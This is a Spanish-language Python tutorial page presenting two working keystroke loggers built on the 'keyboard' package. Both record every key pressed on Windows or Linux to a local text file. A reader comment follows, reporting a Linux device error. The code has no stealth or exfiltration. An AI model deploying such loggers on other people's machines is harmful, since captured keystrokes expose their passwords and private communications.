Keylogger para Windows y Linux

Descarga: keylogger.zip.

Generalmente las aplicaciones de este tipo que rondan por la web utilizan una librería llamada pyHook, una envoltura alrededor de la API de Windows, y por ende disponible únicamente para el sistema operativo de Microsoft. Además, pyHook recibió su última actualización en 2010 y no soporta Python 3.

Como alternativa, el registrador de teclas de Recursos Python hace uso de un paquete llamado keyboard, disponible para Python 2 y 3 y sistemas operativos Windows y Linux. Puedes instalarlo con el siguiente comando:

sudo pip install keyboard

La sección de descargas en PyPI incluye el código de fuente e instaladores para Windows.

Ambos códigos a continuación escriben las teclas presionadas a un archivo de texto.

Nota: para evitar la incompatibilidad del código con futuras versiones de keyboard, puedes descargar la versión 0.9.10, utilizada en este artículo, desde este enlace.

Keylogger (registrador de teclas)

Registra todas las teclas incluyendo los modificadores (Ctrl, Alt, etc.), indicando si estos últimos están siendo presionados.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#   Copyright 2013-2017 Recursos Python
#   www.recursospython.com
#

from functools import partial
import atexit
import os

import keyboard

MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"


def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()


def onexit(output):
    output.close()


def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
    
    # Indica si una tecla está siendo presionada.
    is_down = {}
    
    # Archivo de salida.
    output = open(FILE_NAME, "a")
    
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
    
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)


if __name__ == "__main__":
    main()

Ejemplo de archivo de salida:

[mayusculas derecha (down)] r [mayusculas derecha (up)] ecursos [mayusculas derecha (down)] p [mayusculas derecha (up)] ython
www.recursospython.com
foro.recursospython.com

Los modificadores se indican entre corchetes, y la tecla Enter se traduce en saltos de línea en el archivo.

Textlogger (registrador de textos)

Este código es más conciso que el anterior ya que utiliza las capacidades que provee keyboard para detectar textos escritos. Por ejemplo, el paquete detecta la presión de la tecla Shift y convierte las letras a mayúsculas. Sin embargo, la presión de los modificadores no es indicada en el archivo de salida.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#   Copyright 2013-2017 Recursos Python
#   www.recursospython.com
#

import os
import keyboard


# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"


def main():
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
    
    output = open(FILE_NAME, "a")
    
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string + "\n")
    
    output.close()


if __name__ == "__main__":
    main()

Curso online 👨‍💻

¡Ya lanzamos el curso oficial de Recursos Python en Udemy! Un curso moderno para aprender Python desde cero con programación orientada a objetos, SQL y tkinter en 2024.

Consultoría 💡

Ofrecemos servicios profesionales de desarrollo y capacitación en Python a personas y empresas. Consultanos por tu proyecto.

5 comentarios.

  1. Gael Zazueta says:

    Hola, ayer probe el keylogger y me iba de maravilla, pero ahora lo quiero volver a hacer para modificar una que otra cosa y ya no me anda, copio tal cual el codigo que antes si me habia funcionado y me sale lo siguiente:

    Traceback (most recent call last):
    File «keylogger.py», line 80, in
    main()
    File «keylogger.py», line 75, in main
    keyboard.hook(partial(callback, output, is_down))
    File «/usr/lib/python3.6/site-packages/keyboard/__init__.py», line 344, in hook
    _listener.add_handler(callback)
    File «/usr/lib/python3.6/site-packages/keyboard/_generic.py», line 67, in add_handler
    self.start_if_necessary()
    File «/usr/lib/python3.6/site-packages/keyboard/_generic.py», line 35, in start_if_necessary
    self.init()
    File «/usr/lib/python3.6/site-packages/keyboard/__init__.py», line 116, in init
    _os_keyboard.init()
    File «/usr/lib/python3.6/site-packages/keyboard/_nixkeyboard.py», line 110, in init
    build_device()
    File «/usr/lib/python3.6/site-packages/keyboard/_nixkeyboard.py», line 107, in build_device
    device = aggregate_devices(‘kbd’)
    File «/usr/lib/python3.6/site-packages/keyboard/_nixcommon.py», line 141, in aggregate_devices
    uinput = make_uinput()
    File «/usr/lib/python3.6/site-packages/keyboard/_nixcommon.py», line 27, in make_uinput
    uinput = open(«/dev/uinput», ‘wb’)
    OSError: [Errno 19] No such device: ‘/dev/uinput’

    Sabes que podria ser? desde que lo probe ayer y me funciono, no he cambiado nada de librerias, probe a reinstalar la libreria keyboard para ver si era eso pero tampoco, sigue igual, estoy usando linux para probar pero tengo pensado usarlo con windows

Deja una respuesta